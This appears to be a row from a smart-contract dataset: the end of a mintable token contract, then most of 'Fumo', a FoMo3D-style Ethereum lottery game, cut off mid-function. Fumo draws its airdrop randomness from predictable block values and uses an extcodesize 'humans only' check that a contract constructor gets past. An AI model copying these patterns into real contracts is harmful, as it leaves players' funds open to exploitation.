string public constant TOKEN_NAME = "1irst";
string public constant TOKEN_SYMBOL = "FST";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x89cc23D79ef2B11E46b9ce72CcCF6839fa6a43C8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x89cc23d79ef2b11e46b9ce72cccf6839fa6a43c8)];
uint[1] memory amounts = [uint(100000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,466 |
pragma solidity ^0.4.24;
contract FumoEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is FumoEvents {}
contract Fumo is modularShort {
using SafeMath for *;
using NameFilter for string;
using FumoKeysCalcLong for uint256;
address community_addr = 0x3705B81d42199138E53FB0Ad57613ce309576077;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd085AcFC0FDaA418E03E8570EF9A4E25a0E14eCf);
string constant public name = "Fumo token";
string constant public symbol = "FuMo";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Fumodatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Fumodatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Fumodatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Fumodatasets.TeamFee) public fees_;
mapping (uint256 => Fumodatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = Fumodatasets.TeamFee(30,0);
fees_[1] = Fumodatasets.TeamFee(43,0);
fees_[2] = Fumodatasets.TeamFee(56,0);
fees_[3] = Fumodatasets.TeamFee(43,8);
potSplit_[0] = Fumodatasets.PotSplit(15,0);
potSplit_[1] = Fumodatasets.PotSplit(20,0);
potSplit_[2] = Fumodatasets.PotSplit(25,0);
potSplit_[3] = Fumodatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Fumodatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Fumodatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Fumodatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Fumodatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Fumodatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FumoEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FumoEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FumoEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FumoEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Fumodatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FumoEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Fumodatasets.EventReturns memory _eventData_)
private
returns (Fumodatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Fumodatasets.EventReturns memory _eventData_)
private
returns (Fumodatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Fumodatasets.EventReturns memory _eventData_)
private
returns (Fumodatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Fumodatasets.EventReturns memory _eventData_)
private
returns(Fumodatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FumoEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Fumodatasets.EventReturns memory _eventData_)
private
returns(Fumodatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Fumodatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit FumoEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "fumo already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Fumodatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library FumoKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
